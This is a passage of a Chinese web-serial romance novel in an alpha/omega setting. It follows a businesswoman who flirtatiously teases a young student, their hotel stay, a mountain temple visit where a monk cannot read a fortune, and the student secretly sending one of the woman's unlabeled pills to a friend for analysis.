姜映脸热回神,拿了湿纸巾,很不好意思地给女人擦着指尖,片刻后道:“干净了。” 程卿言看着她的眼睛:“谢谢。” “不用。”姜映咳了一声,感觉好奇怪。 程卿言点头,用刚擦拭过的指尖捏住alpha发热的食指,轻轻在女生指腹上揉了揉,凑到女生耳边,低声说了一句:“你以后有需要,我也会给你擦的,仔细认真地擦。” 向来不喜欢动手干活的程总、程大小姐难道主动开口,要帮别人洗手擦手,但这人现在还没听懂她指的什么,不仅不欣喜若狂,感恩戴德,还拒绝了她。 姜映的耳朵好痒,寡淡单纯了这么些年的她,近几日虽然有了一点点欲念,内心依旧是干净纯洁的,哪能听懂女人的言外之意。 她不想女人干活,只想她好好休息,她拒绝了:“不用的,你不用帮我。” 程卿言嗔了她一眼,在她手上打了一下,呵了一声。 不用就算了。 她懒得动手。 距离目的地还有十多分钟的路程,程卿言拿出一张房卡递给她:“我得忙两三个小时,旁边正好有悦程酒店的连锁,你一会儿刷卡去我的房间休息。” 悦程酒店是程氏旗下的企业,也是程卿言当初正式上任后,接手的第一个项目,经过这几年的洗牌发展,酒店内部重要的管理人员都换成了她的人,对她而言,相对安全。 如果让姜映跟着她去开座谈会的地方,在车里等她,被人看见的几率太大,容易给女生惹来麻烦。 姜映嗯了一声,她本来想说,她可以在车里等,但女人这样安排,肯定有她的道理,她不能给她添麻烦。 何助先将车开到了悦程酒店附近,姜映下车前,程卿言又说:“你如果不想一直待在酒店,可以到旁边的商场逛了逛。” 她从前来这边参加过类似的会议,知晓商场里有一家大型的书店,女生应该会喜欢那儿。 “我知道了,”姜映朝着她笑了一下,拉开车门下车,“姐姐你去忙吧,不用担心我。” 对于女人这种细微的安排与关心,她其实是有些陌生与别扭的,她自幼就独立,不给大人添麻烦,为生活奔波操劳的大人也无法给她太多的照料,无论是学习还是生活,大部分事情都是自己处理,自己想办法。 一直这样过了二十年,现在大了,有人忽然像对待小孩一样对待她,姜映有些不习惯。 她没有去酒店,径直去了商场里的书店,坐在凳子上静了一会儿,眸光微颤,觉得女人为她操心时,浑身好似散发出了柔和的光芒,让人忍不住想凝视,想靠近。 * 这次的商业会议比较正式,很多大型企业的负责人都受邀参加。 九点开始,十一点才能结束。 整整两个小时,枯燥无趣,但又必须得来,程卿言坐在很靠前的位子,她发过言后,就没什么事情做了。 但这种场合也不好明目张胆地一直玩手机,于是她没找姜映聊天,她中途拿了一次手机,只给秦助理发了消息,让她去调查今日在高速上发生的事情。 意外还是人为,不能含糊。 放下手机后,程卿言静静坐在位子上,神色正经,看似在听各大领导讲废话,实则已经走神好一会儿了。 指腹轻点扶手,她在思考姜映的对她的欲念到达什么程度了。 牵手,拥抱,接吻,停留在这些浅层的肢体接触上,还是说,对她有了更过分的生理需求。 想和她做,想和她大汗淋漓地肢体相缠。 程卿言静思片刻,认真地回味了女生在车上出现的反应,最终还是更倾向于前者。 毕竟万事都讲求循序渐进,尤其是女生这种性格的人。 不过程卿言已经挺满意了,至少说明姜映不是不行,只是慢热。 只要她继续引导,用不了多久,应该就会彻底开窍了。 孙影也嘱咐她,近期得克制与alpha发生性接触,不然她的体能会承受不住。 因此姜映这种慢慢开窍的进度,对她而言,其实是最好的。 等她康复之时,也是坏东西真正能坏起来之日,到时候就能毫无阻碍地做她想做的任何事情。 快了,最快一个月。 这段时间内,她大部分精力得放在工作上,项目不能出差错,同时也得抽空继续引导女生,两者同时进行。 她想要的,她会努力去得到。 无论是事业,还是人。 不过姜映若是提前变“坏”,想对她做更多,想和她做,那她是答应还是不答应? 程卿言认真地纠结片刻,眉梢轻轻挑了一下,在心里呵了一声,想了也是白想,就对方那性子,怎么可能坏得那么快。 绝无这种可能,对此,她很肯定。 在脑子里筹划之后要做的事情,会议也接近了尾声,能离开位子,自由活动时,程卿言回神,开始和其它企业的老总打了招呼,交谈,结交人脉谈合作,半个小时后才离开了会场。 去往停车场的路上,她给姜映发了消息,说她已经忙完了。 回到了车内,程卿言有些疲倦地呼了口气,靠着椅子闭目养神,五分钟后达到了悦程酒店,坐电梯径直上楼。 刚走到门前,房门便从里面推开,女生青涩的脸此刻泛着红,映入眼帘。 姜映眼眸亮亮的:“姐姐。” 程卿言往里走了一步,反手关上门,下巴放在了女生肩膀上,将全身重要交给了她,脸颊蹭着女生的脖子,疲倦地闭上眼睛。 姜映怕她摔着了,在女人身体靠过来时,双手就落在她的腰肢上抱住了她,脖子痒痒的,她颤着眼睫,担忧道:“是不是很累?” 程卿言依偎着她,嗯了一声,声音倦倦的:“我给你发消息的时候,你不是还在书店吗,跑回来的?” 从商场书店走到酒店,按照成人的正常行走速度,大概要十分钟,她从会场到这里只需要五分钟,本该是她先到的。 “没跑,我走得比较快,”姜映告诉她,想了想问道,“你要不要睡会儿?” “可以。” 女人给了肯定的回复,但却没有动,仍旧闭着眼睛靠在她怀里,姜映见她累成了这样,眉间满是疲倦,很心疼,顾不上害不害羞,直言道:“我抱你去床上躺着,可以吗?” 程卿言睁开眼,有点意外地看了她一眼,嘴角轻轻扬了一下:“你抱得起我吗?” 姜映思索两秒,直接用行动告诉了她,动作利落了当,附身弯腰,细瘦但有力量的手臂,一手落在了她的腿弯处,一手落在了她的背上,将她抱了起来。 程卿言微微惊讶,双手勾在alpha脖子上,还真能抱起她。 房间是面积宽敞的套房,从门口到卧室得穿过客厅,有一小段路程,姜映抱着她,边走边道:“你别害怕,我不会摔着你的。” 女人头靠在她胸口,听着她的心跳,挑了下眉,嗯了一声。 她累归累,疲倦也是真的疲倦,但害怕这个词和她毫无关系,不过她也没反驳,偶尔柔弱一下,也是可以的。 进了卧室,姜映弯腰,将女人放在了床上,女人躺下后,并没有松开揽着她脖子的手,她双手撑着床单,附着身子和她对视着:“怎么了?” 程卿言幽怨:“穿着这样我怎么睡?” 高跟鞋还在脚上,西装外套也穿在身上的,睡觉的确不舒服。 姜映哦了一声:“那你脱掉睡。” “我累,你帮我行吗?” 姜映颤睫,眸光落在女人疲惫的眉眼间,也没过多犹豫,直接应了下来,她希望她好好休息,女人看起来实在是太累了。 “可以的,你先松开我。” “谢谢。”程卿言先柔柔地道了写谢,松开揽着女生的手。 姜映耐心地给她脱了鞋,整齐地摆在了床尾,又给她脱了外套,挂在了衣架上。 程卿言躺在床上,专注地看着她为自己忙碌。 片刻后,姜映走回了床边,见女人的被子没盖好,于是给她理了理:“好了,姐姐你可以睡了。” “还不能睡,”程卿言伸手握住alpha的手腕,往自己腰上放,“内衣还没帮我解开。” 这也要她帮忙吗? 姜映眸光颤动,呼吸微热,商量:“你自己解开行吗?” 女人摇头:“累,不想动,你不帮就算了。” 话是这样说,握着女生的手并没有松开。 姜映犹豫片刻,希望她舒服些,深呼一口气,红着脸小声应道:“好吧……” 只是解开扣子,不是脱下来。 扣子在后背,没,没事的,解扣子很快的,她可以的。 姜映附身,女人抬腰配合她,让她的手可以在后背活动,但实际操作并不顺利,指尖从女人后腰的衬衫下摆伸进,触碰到细腻温热的肌肤时,就开始发颤了。 浑身热热的,掌心冒了汗。 “快一点,腰酸……” 女人软软地催促一句。 姜映眸光颤动,有些慌了神,应了声好,正准备继续时,女人蹭着她的耳朵又说:“我今日穿的是你给我买的内衣…想看看吗…” 作者有话说: 晚安,明天见 第62章 叫停 叫停 第六十二章 女人穿的是她给她买的内衣。 姜映在听见这话时,脑子出现了几秒钟的空白。 时隔几天,内衣的款式,颜色,面料,尺寸,她能清晰地回想起来,她亲手挑的内衣,穿在女人身上会是什么样? 不由自主再一次回想起那日女人带着她握上去时的细腻温暖,回想起女人那里带给她的归宿感。 喉咙滚动,心跳微微加速,眼眸里的情绪涌动起伏。 愣神这几秒,指尖微微曲了曲,指甲不小心在omega的背脊上划了一下。 程卿言一颤,咬了咬唇,将呼痛声咽了回去,并未出声惊扰她,她一直注意着alpha眼眸中的情绪浮动。 先是清澈干净,而后染上了羞意,再渐渐变得炽热起来,欲念一点点地冒了出来。 多一些,再多一些,清澈的眼眸在变得复杂浑浊那一秒,她便知道她可以叫停了。 她握着姜映小臂,果断将她从自己衣服里带出来,而后自己的指尖放在内衣纽扣上。 嗒嗒嗒几声轻微的响动,纽扣解开,胸前的束缚消失。 程卿言说:“你太慢了,我自己解开了,半个小时后叫我。” 姜映眼睫颤动,捏了捏掌心,抿着唇嗯了一声。 程卿言看着她道:“你去客厅玩,我要睡了。” “好,好的。”姜映眼里的炽热还没消退,眼尾泛着红,抿了抿唇,恋恋不舍地转身离开了卧室,轻轻掩上了门。 程卿言看着她的背影,嘴角轻轻勾了勾。 她本就没打算让女生给她解内衣,没打算在这会儿让她看她,而且她穿的也不是女生给她买的那一件。 方才她之所以会那样说,那样做,只是想勾起alpha的欲念,勾起之后,她不会满足她。 她就是要钓着她,给她甜头,让她难受,私下忍不住幻想她,想探索她。 这样对姜映,她是不是有点坏? 想着alpha方才的反应,女人心情不错,缓缓进了入了浅睡。 程卿言的目的能达到吗? 毫无疑问。 能。 姜映在客厅的沙发上坐着,喝了小半瓶冰凉的水,热意依旧在胸腔内徘徊着,消不下去。 她感觉她有些不舒服,指尖灵活地解开了领口的扣子,解开后她垂眸看了眼自己的手。 怎么这会儿就灵活了,方才那么笨拙。 眼眸中浮现出懊恼。 如果她再快一些,没有磨蹭犹豫,程卿言的内衣扣子就会是她解开的,对方应该也不会嫌弃她慢,赶她出来等着了。 她留在里面,女人会给她看她买的内衣的上身效果。 姜映颤睫,呼了口气,眼眶热热的。 穿起来会是什么样的? 可惜她无法知晓。 拿起剩下的半瓶水,仰头咕噜咕噜地将其喝完,又跑到阳台上吹了会儿冷风,眼眸才变得清晰起来,理智也恢复了。 但脸依旧是红的,对于她几分钟出现的想法,她感到十分羞耻。 她怎么了,她在想什么。 若是要看内衣的上身效果,就得解开女人的衬衫纽扣,毫无遮掩地将内里的光景呈现出来。 这是不能谁便看的,这很不礼貌。 她是alpha,不能那么随便地占omega便宜,不能欺负女人。 姜映揉了揉脸,思绪有些凌乱地任由冷风吹着她,她开始反省,反省的同时,又会不受控地去想女人穿起来是什么样的。 有那么几秒,她甚至在想,不穿是什么样的。 任由冷风怎么吹,她的脸越来越红,姜映深呼吸,觉得她不能再这样下去,拿出手机找了一本晦涩难懂的文学著作看了起来,一个字一个字地看,十多分钟后她的心才静了下来。 才没去想那些让她羞涩,让她变得不像自己的事。 姜映在出卧室时就定了半个小时的闹钟,时间一到,闹钟准时响起,她轻轻推开卧室门,瞧见女人已经坐了起来,专注地看着手机屏幕,在处理工作。 听见响动,程卿言抬头:“半个小时到了?” 姜映嗯了一声:“你没有睡觉吗?” 程卿言说:“睡了一会儿,窗外有鸟叫,我就醒了。” 姜映说:“还要睡会儿吗?” “不可,我有点饿了,”这会儿已经十二点半了,到了吃午饭的点,程卿言放下手机,“你把外套递给我。” “好。” 程卿言穿上外套坐到床边,不用她提醒,alpha已经主动蹲下,给她穿上高跟鞋。 不错,孺子可教。 她问:“我睡觉的时候,你做了些什么?” 姜映握着她脚踝的手微微顿了顿,耳垂泛起了红:“想了些事,看了会儿书。” 她有点担忧女人会问她想了些什么,好在女人没问,只是用指尖挑起她的下巴,笑着看了她一眼,走出了卧室。 姜映眨眼,跟在女人身后,忽然有一种,即使她什么也没说,对方也知晓她想了些什么的念头。 应该不可能吧。 肯定是她心虚,才会这样觉得。 程卿言走进客厅,眼眸落在沙发上的礼品袋上,问道:“你在商场买东西了?” 姜映嗯了一声。 “买了什么?”程卿言随口问道。 姜映提起袋子,从里面拿出一个竹子造型的毛绒玩具,脸色微红,递给女人。 程卿言嘴角微扬:“给我买的?” 姜映点头,解释:“书店旁边有家精品店,我逛了一会儿,就看见了它,然后就买了。” 她在女人家里看见过很多竹子造型的摆件,院子里也种过竹子,车里的香氛也是青竹香,女人应该很喜欢竹子。 程卿言拿着毛绒竹子,手感很好,外形可爱,大小适中,宽度和长度与成年女性的手臂相差不大,捏了捏竹子,含笑看着女生:“谢谢,我很喜欢。” 姜映眼眸弯弯,很开心买到了女人她的东西,她知道女人平日里用的东西都很精贵,因此她也不会随便买毛绒玩具送给女人,若是质量不好,磨红了女人细腻的皮肤,她会过意不去。 小小的毛绒玩具,对她而言价格并不便宜,和那日的内衣价格差不多。 她生活节俭,物欲低,不会给自己买这种价格的东西,但女人喜欢,就是物有所值,钱花得很值得。 程卿言玩了一会儿,递给她:“装好,等会走的时候别落在酒店了。” “好的。” 女人摸了摸她的脸,转身去了浴室洗漱,再次出现在姜映视野中时,她眼睛瞬间亮了,看着女人完美无暇的脸,欲言又止。 程卿言笑着她:“你想问什么?” 姜映颤睫:“姐姐你怎么化妆了?” 不是上午去参加会议那种礼貌性的只涂口红,提气色那种妆,而是比较用心,得花费时间才能化出来的妆容。 程卿言先问:“好看吗?” “好看。”姜映眼神直白,一直没从她脸上移开,但又很柔和干净,不会让人觉得冒昧。 “喜欢?” “嗯…喜欢…” 程卿言双手环胸,呵了一声:“不化妆就不喜欢?” 啊? 姜映不是这个意思,她赶忙说:“都喜欢,都好看。” 程卿言哼笑,给她说:“等会儿酒店餐厅吃了饭,我们出去玩。” “要去哪?” “没想,我也不知道。”程卿言太忙了,还没时间去查这些。 姜映主动道:“我可以查一查。” 程卿言没有异议,她还得再收拾一会儿,女生坐在沙发上,一边查信息一边等她。 十来分钟后,她道:“好了,我们下楼吧。” 姜映应好,和女人一起坐电梯下楼:“我把附近可以玩的地点汇总起来了,已经发给你了,姐姐你可以看一看。” 这么快? 程卿言拿出手机,点开女生发过来的文档,内容详细,条理清晰,根据她的时间和体力做了详细的分类,一目了然。 做旅游攻略这种事情虽然不难,但要在那么短的时间内,搞出一份如此人性化的攻略,也不是一件容易的事情。 好学生的脑子确实好用。 程卿言欣赏聪明上进的人,笑着看了看姜映。 即使她没喜欢喜欢上她,她也会欣赏她。 可惜女生学的是工科,不是商科,不然她一定让女生毕业后进程氏,成为她的得力助手。 “就去这儿吧,你觉得怎么样?” 她选的是市里的一座海拔不高的山,不是野山,已经经过开发,属于比较成熟的景区。 选它的原因也简单,山不高,又有缆车,不会浪费过多的体能,这个季节爬山的人少,也安静,很适合她们。 姜映看了看:“可以的。” 她的首选也是这座山,居然和女人想到一块去了,是不是说明她们很有默契,想到此处,她的嘴角轻轻扬了起来。 这小姑娘在傻乐什么。 程卿言睨了她一眼,不知道女生在笑什么,但她也跟着扬了嘴角。 下楼前,程卿言就让何助提前点好了餐,待她们坐下,服务员便开始上菜了,时间安排得很恰当,不用等。 吃饭用了二十多分钟,放下筷子后,程卿言让服务员给她端了一杯温水,她的包是给姜映背着的,便让姜映帮她从包里拿出一个小瓶子。 姜映应了声好,摸出了一个什么标签都没贴的瓶子:“是这个吗?” 程卿言点头,从她手里拿走,倒了一颗白色药丸在手心,再把瓶盖拧好,给了姜映:“把它放好,就放在你拿的地方。” 姜映看着她掌心的白色药丸,关心道:“这是什么药,你身体不舒服吗?” 如果不舒服,下午女人最好还是休息,不要去爬山了。 “普通的保养品,提神醒脑的。”程卿言神色自然地回了一句。 里面装的是她的体能药,她已经对姜映很放心了,没有戒备心,才会当着她的面拿出来。 正准备吃时,有两个活泼好动的小孩经过,不小心碰到了她的手腕,药丸滚在地上。 “姐姐对不起,我们不是故意的。”小孩也发现自己撞到了人,四五岁的年纪,说起话来奶声奶气。 程卿言不会对她们发脾气,摆了摆手:“没事。” 她弯腰,捡起地上的药丸,放进不喝的茶水中,看着药丸融化销毁,才出声让女生再把瓶子给她。 姜映颤了下眼睫,拿出瓶子时主动地拧开了盖子,倒了一颗出来递过去:“给。” 说的是瓶子,给的是药丸。 程卿言挑了下眉,这种主动的服务精神若是放在别人身上,她只会警惕,但眼前的人是姜映,她不会多想,除了姜映,别人也不会碰到她的药。 她将药丸放进嘴里,轻抿一口温水,咽了下去,起身道:“走吧。” 姜映应了声好,和她一起走出酒店,眸光向下看了看:“姐姐。” 程卿言:“嗯?” 姜映说:“你穿的是高跟鞋,不太适合去山上,换一双运动鞋要舒服些。” 景区有缆车,她们不会爬上去,上去之后或多或少都得走些路,穿高跟鞋太累脚了,酒店旁边就是商场,于是一起走过去逛了逛。 程卿言在物质生活上没有贫瘠过,又有自己的审美,对于衣食住行都较为挑剔,逛了几家店都没选到满意的。 姜映乖乖陪着她,没有任何不耐烦,女人自己逛得不耐烦了,坐在凳子上对姜映说:“你去给我选一双。” 姜映眨眼:“我吗?” 程卿言肯定地对她点头。 好艰难的任务,比学习做实验难多了,姜映有点压力,神色专注,认真挑选,最后挑了一双出来:“这个款式可以吗?” 一般,勉勉强强。 不过姜映给她挑的,程卿言愿意穿,笑着道:“可以。” 导购拿来了她的尺码,姜映接手,自然乖巧地蹲下,给她脱下高跟鞋,换上了丑丑的运动鞋,抬眸,眼睛亮亮地看着她:“你走几步,试试脚感怎么样。” 程卿言站起来,走了两步:“挺不错的,你挑得很好,很不错。” 受了夸奖,姜映脸颊微红,心里很开心。 回到车里,何助开了导航,朝着景区的方向行驶。 路程不远,不堵车的情况下,二十多分钟就能到。 程卿言问:“你会开车吗?” “不会,我还没考驾照,”姜映道,“怎么了?” 程卿言说:“等你有空了,去学一下。” 日后她们相处的时间会很多,一起出去玩的次数也会很多,她虽然会开车,但她不喜欢开,累人,且浪费时间。 如果姜映不会开车,就必须得带上一个人,无法过二人世界。 很快到了景区门口,何助没跟着上去,在车里等着。 姜映买好缆车票,和女人一起坐缆车上了山。 今日天气好,视野开阔,风景秀丽。 缆车无法到山的最顶端,下来后得自行爬一小段路才能上去,景区基础设设施完善,路修得很好,走起来难度不大。 山顶的景色和下缆车这里的景色差不多,都修建了观景台,变化不大,若是为了看风景,可以不用爬上去。 但山顶上有一座庙,姜映在搜索攻略时瞧见了网友的评论,说这座庙求事业姻缘健康很灵验,去山顶的人,都是为了去庙里许愿。 姜映问:“姐姐你想上去吗?” 程卿言是唯物主义,心里不信这些,平时也没有求神拜佛的习惯,但既然来了,还是可以和女生一起体验一下,去庙里看看:“去看看。” 姜映都听她的,应了一声好。 她的包里背着两瓶水和一些零食,走起路一点也不累,精神抖擞,但女人走一小会儿,就会停下了休息半分总,看起来很累的样子。 姜映不想她累到了,真诚地看着她:“我背着你上去。” 程卿言笑了一声,拿纸巾擦了擦额头的薄汗,正常情况不该是劝说她不爬上去吗,这人不按常理出牌,居然说要背着她爬上去。 女生是alpha,又不是牛马,她哪能让她背她上山,她对自己的身体状况有分寸,不会做过分消耗体能的事情,这段路好走,也不远,还是可以走上去的。 “不用了,你牵着我就行了。” “好吧。”见她坚持,姜映也不能勉强她,牵着她,一路走走停停,十多分钟后到达了寺庙门口。 坐在同一条石凳上休息了会儿,空气清晰,程卿言头靠在alpha的肩膀上,心情很不错。 常年生活在繁华城市,为事业忙碌,和商业场上的老油条打交道,休息的时间也少,说不疲倦是不可能的。 程卿言抬手指了指前方:“那是不是有只猴子?” 姜映看过去:“是的,不只一只,旁边那颗树上还有几只。” “哪呀,我没看见。” “那里,看见了吗?” “嗯,它们是一家人吗?” “可能是一个族群。” “它们吃什么,树上又没桃子。” 姜映眼眸一弯,笑了一声:“猴子除了吃桃子,还可以吃别的食物,景区应该有饲养员定时定点投喂的。” “你笑我?”程卿言幽幽嗔她一眼。 姜映眨眼,乖乖认错:“我错了。” 程卿言呵了一声,掐了一下她的胳膊,没用力,掐着玩的。 有一搭没一搭地聊了一会儿天,休息好后,起身走进了寺庙。 寒冷冬日来爬山的人不多,庙里的游客也少,在里面逛了一圈,到达了求签的大殿。 既然来了,便按照流程来,上过香之后,闭上眼睛虔诚地许了愿。 姜映睁眼,拿起签筒,认真地晃动片刻,一根写着签文的竹签跳了出来,她拿起来看了看,看不懂。 解签处在大殿旁边,程卿言问道:“要去找师傅解签吗?” 姜映觉得都可以,手上的红绳是她外婆当年独自去庙里给她求来的,说是保平安,也不知道是真是假,想了想道:“解签要钱吗?” 程卿言笑了一声:“过去问问就知道了。” 姜映嗯了一声,看着女人:“你不摇签吗?” “不了,你摇了就行了。” “哦。” 解签要收五元钱,不贵,两人没有体验过,付钱后把签文交给了解签师傅。 师傅面相慈祥,给人感觉很好,认真地解着签文,片刻后抬眸看了眼姜映,眉间有了淡淡的困惑。 再次垂眸看着签文,过了几息放,双手合十作揖道:“黄粱一梦,镜花水月。” “施主的前路无踪无影,命书中无法找寻,贫僧无能,解不了此签。” 前路笼罩了厚厚一层浓郁,仿佛不属于这世间的人,寻不到踪迹。 签解不了,听起来也不是什么好签。 五块钱白花了。 钱少,听不了好听的话。 程卿言本就不信这些,只是来体验一下,牵着姜映走出了寺庙,天色渐渐暗了下去,山上温度低,不宜就留。 原路返回,坐缆车下山。 程卿言见姜映有些发愣,握住她的手,柔和道:“在想刚才那位师傅说的话?” 姜映回神,嗯了一声。 程卿言捏了捏她的掌心,笑着道:“都是哄小孩的,别放在心上。” 这些年大部分寺庙都已经商业化了,注册了商标,背后有资本运行,解签算命这些事,真真假假谁能分得清。 “知道了。” “快看外面。” 染了半边天的落日余晖恰好在此时照进了缆车,程卿言侧着脸欣赏着晚霞,光影落在她脸颊上,美得似真似幻。 她没想到还能瞧见落日,属于意外之喜,嘴角扬了起来。 姜映看着女人明媚鲜活的神情,心口忽然有了酸胀感,又有了莫名想流泪的感觉。 她是唯物主义,她从前也不迷信,可是近期出现在她身上的系统,出现在她身上的各种奇怪感受,都让她困惑不已,困在了浓雾中。 前路无踪无迹,命书中寻不了她。 那她的归属在哪? 姜映轻轻呼了一口气,缓了缓神,无人能为她解答,只有未来能告诉她答案,这会儿想再多也是无济于事,徒添烦恼。 快速整理好思绪,想留下这一刻,开口道:“姐姐我给你拍张照片吧。” 程卿言挑眉,应了一声好。 姜映是用自己的手机拍的,拍了好几张。 “给我看看。”程卿言道。 姜映把手机递给她,女人看了几眼,点评:“嗯,把我拍得不错,但是怎么把我脚上的丑鞋都拍进去了,你把鞋截掉,然后照片发我。” 丑鞋? 姜映眨了眨眼,买的时候女人明明夸她眼光好,挑得不错,她亲耳听见的。 她垂眸,抿着唇看着女人脚上的鞋。 程卿言察觉到她的视线,反应过来她说了什么,捏了捏女生的脸,哄道:“你眼光好,挑中这双鞋,是鞋的福气,鞋丑是鞋的问题,和你的审美没关系,知道了吗?” 很像传销组织中洗脑的话。 姜映颤睫,朝着她笑了一下,点头:“知道了。” 程卿言也跟着扬了扬唇,缆车停下,她牵着姜映的手回了车里,何助按照她的吩咐,先开车去附近商场的餐厅吃了顿饭,在七点那会儿返程回碚城。 程卿言感觉有些累了,不过她没睡觉,坐在后排座拿出手机处理起了工作。 坐在她旁边的姜映也在忙,明日她得去研究院报道,那边负责和她对接的人突然给她发了几份表格,需要她填写好,尽快发过去。 到了碚城,依旧是从碚大这边下高速,快到碚大前,姜映的事情已经忙完了,放下手机看和女人的侧脸,颤着眼睫,眸光中情绪流转。 察觉到她的视线,程卿言抬眸问道:“怎么了?” 姜映抿了抿,有些欲言又止:“我……” “嗯?”程卿言看着她。 姜映看了看前面安静开车的何助,犹豫片刻,挪动身子往座位中间移了些,紧紧挨着了女人,柔软的嘴唇凑到女人耳边,红着脸颊小声道:“姐姐今晚能带我回家吗……” 作者有话说: 晚安,明天见 第63章 握住 握住 第六十三章 alpha的唇贴着女人的耳朵,声音小小地喊了一声姐姐,让姐姐带她回家。 带她回家做什么? 自然不可能是熬夜学习。 姜映特意放在书包里的强化剂还没派上用场,她虽然无法分泌信息素,但女人喜欢她咬她的腺体,可她已经半个多月没给女人提过服务了。 之前商量好的一周两次,她不知道女人为什么不提了,女人不主动提,那就只能她提出来。 姜映也是第一次以这种姿态说这种话,车里又不只她们两人,还有何助在,她不意思说得太大声,所以才凑到女人耳边说话。 话音落下后,空气中安静几秒,姜映没得到回复,以为她声音太小了,再次羞耻开口:“姐姐?” 姐姐听见了,而且听得很清楚。 程卿言只是没反应过来,alpha呼出的热气落在她耳畔,那一块肌肤泛起了浓浓的痒意,深呼一口气道:“带你回去干嘛?” “给姐姐服务……”alpha声音很羞涩,说话的时候指尖还抓着她的袖口,明明很干净,但像魅魔一般,诱惑人心。 真是,要命。 坏东西真的不是在勾引她? 跟谁学的这些把戏? 程卿言呼吸一热,侧眸和她对视上,低声道:“是你觉得我需要你的服务,还是你很想给我服务?” 前者属于她的需求,后者属于姜映的需要。 姜映并不愚笨,能听出二则的区别,颤着眼睫想了几秒:“好像都有,我觉得你需要,我也想……” 她想要女人开心,而女人会因为她的服务而感到开心,所以她很想给女人服务。 程卿言眸光涌动,指腹摸索着她的脸,婉拒:“如果我带你回去,我想要的不只是这种服务,你给不了我……” “我可以的,”姜映打断,声音羞涩但很坚定,“我觉得我可以的,只要姐姐愿意,想要,我都可以的……” 程卿言快受不了,背脊发麻,腰腹那也有些软,她很肯定,坏东西就是在勾引她。 为什么突然变得不扭捏了,她虽然希望她对自己有欲望,但也没想到进度能有那么快。 怎么和预料中的循序渐进不一样了。 难道是她最近那些故意为之的行为太过分,刺激到姜映了? 程卿言细细思忖几息,行吧,她也觉得她有些过分,可她也是想着这人傻乎乎的太木了,如果她不那样,等她恢复健康了,女生可能还没开窍。 能带她回家吗? 今晚不能。 今天太累了,上午开会,下午爬山,晚上又坐车处理工作,她能感觉到她的精力已经消耗完了,如果再和精力旺盛的年轻alpha搞到床上,她觉得她会坏掉。 这坏东西怎么憋到了晚上才说,程卿言不满地嗔了她一眼,如果在早上见面的时候告诉她,或者中午告诉她,她下午就不会选择出门爬山,直接在酒店房间玩。 “今晚不能带你回去,我太累了,想早点休息,不想动了。” 姜映眨眼:“你可以不用动……” 女生说这话时,脑子里其实没有那些污秽的东西,她纯粹是觉得她给女人服务的时候,女人可以静静躺着,或者趴在,那就不累了。 程卿言思想可不像她那样纯洁,狠狠嗔了她一眼,幽幽道:“你怎么不说我可以睡觉,我睡我的,你弄你的。” 女人一句阴阳怪气的话,姜映听进去了,而且还认真思考了这句话的可行性,并且记在了脑子里,还没来得及回复,女人继续道:“明天你不是一早就得去研究院报到吗,你今天不准备一下吗?” 姜映如实说:“我该准备的,都准备好了。” 程卿言:…… “能确保万无一失,不出任何差错?” 姜映颤睫,摇头:“不能。” 这种事没人能保证不会有意外发生。 “那就是没准备好,”程卿言看着她,“还得继续加油。” 拒绝之意已经很明显了,不仅是考虑到她今夜的精力已经不许她放纵了,而且她得让处于躁动中的姜映冷静下来,她不希望女生冲动行事,事后又在那难受。 至少得冷静一两天,想清楚再做决定。 姜映安静片刻,女人说的也有道理,既然累了要休息,不想带她回去,她不会让她为难,乖乖地点了点头:“我知道了。” 很快到了碚大校门附近,车靠边停下,姜映把书包里的毛绒竹子拿出来,交给女人:“我回学校了,姐姐你到家了就好好休息。” 程卿言把玩着毛绒竹子:“知道了。” 姜映下车后,红着脸颊站在原定看着卡宴渐行渐远,彻底消失后她揉了揉脸,轻轻呼了一口气,拿出手机点进微信发了一条消息,得到准确的回复后,她迈着步子走进了学校。 没回寝室,而是去了医学系的教学楼下等着,等了两分钟,身后后有人叫她了。 “姜映。” 夏云升小跑下楼,走到她跟前。 夏云升是姜映参加辩论赛时的队友,和姜映的关系还不错,比赛结束后也在联系。 “不好意思,这么晚还来找你。” 夏云升笑了一下:“我复习得腰酸背痛,本来就打算活动一下,没有打扰到我,你说的药呢,给我看看呗。” 姜映拿出一颗白色药丸递给她:“你能帮我看看这是什么药吗?” 夏云升就读于医学系,成绩优异,细细看了看,眉头轻轻皱了皱:“看不出来,我没见过,如果你不着急,等我明天最后两场考试结束了,我拿去实验室进行成分分析,应该能查来,到时候给你答复行吗?” 姜映点头:“那就麻烦你了。” “小事情,”夏云升说,“那我先上去了。” “好的。” 道了别,姜映走在校道上,慢慢走回宿舍。 这两天的校园比前些日子热闹了很多,部分已经结束了期末考的学生开始出来休闲娱乐。 操场上有人打球,玩飞盘,还有唱歌的,闹出了一些动静。 不过姜映沉浸在自己的思绪中,路过时并没有留意这些动静,她在想药丸的事。 药丸是她中午那会儿从程卿言的瓶子里拿出来的。 她知道这种行为很不对,内心也很愧疚,可她有种莫名的直觉,如果不拿,她会错过很多事,这些事情女人也不会告诉她,只能靠她自己去思索。 姜映能保证她没有吃过这种药,但是她觉得这种药很眼熟,不仅觉得见过,还有一种这种药多次经过她手心的感觉,又不记得在哪见过。 但是明明是第一次帮女人提包拿药。 很奇怪的感觉。 很强烈的直觉让她拿了一颗药出来,想知道是什么药,想解答心中的困惑。 等她知道后,她会找时间对女人认真坦白她这种不好的行为。 程卿言说这种药是提神醒脑的保养品,但药丸掉在地上后,女人特意捡起来销毁的行为,分明不是对保养品能有的态度。 女人不是爱动手的人,能不做的事情就不会做,弯腰捡药,特意丢进茶水,耐心地看着融化,一切都有些反常。 姜映抿着唇,眼眸颤动,心口突然有点难受,那种如同竹笋破土而出,生长般的疼痛又冒了出来,深深地呼了几口气,走到寝室楼下时才缓了过来。 拿纸巾擦了擦汗,上楼进了寝室。 周青月今晚有一场考试,结束之后没去图书馆,这会儿在寝室。 见她回来,笑着看了她一眼,打趣道:“今天和那谁过得开心吗?” 姜映咳了一声,脸颊微微泛红,对于这种打趣,有些不好意思,嗯了一声。 “玩了些什么?” 不能问那位姐姐是谁,不涉及身份的小事可以问,周青月眼睛亮亮看着她,八卦可比学习好玩多了。 姜映想了想道:“爬了山。” 周青月:“还有呢?” “吃了饭。”姜映道。 周青月接着问:“没了?” 姜映摇头:“没了。” 早上天都没亮就跑出去了,天黑透了才回来,就吃饭爬山啊,好健康的约会,周青月难以置信,不过这些事情是发生在姜映身上,她忽然又觉得合理了。 大事件只有吃饭爬山,小事件就不止这些了,都是些姜映无法说出口的,有些担心对方会追问,转移话题:“林溪呢,她在图书馆吗?” “没有,她吃了晚饭就离开学校了,好像是有人找她,看起来挺着急的,今晚她不会来了,”周青月感动地看着她,“还好你回来了,不然我今晚又得一个人待在寝室,映映你真好。” 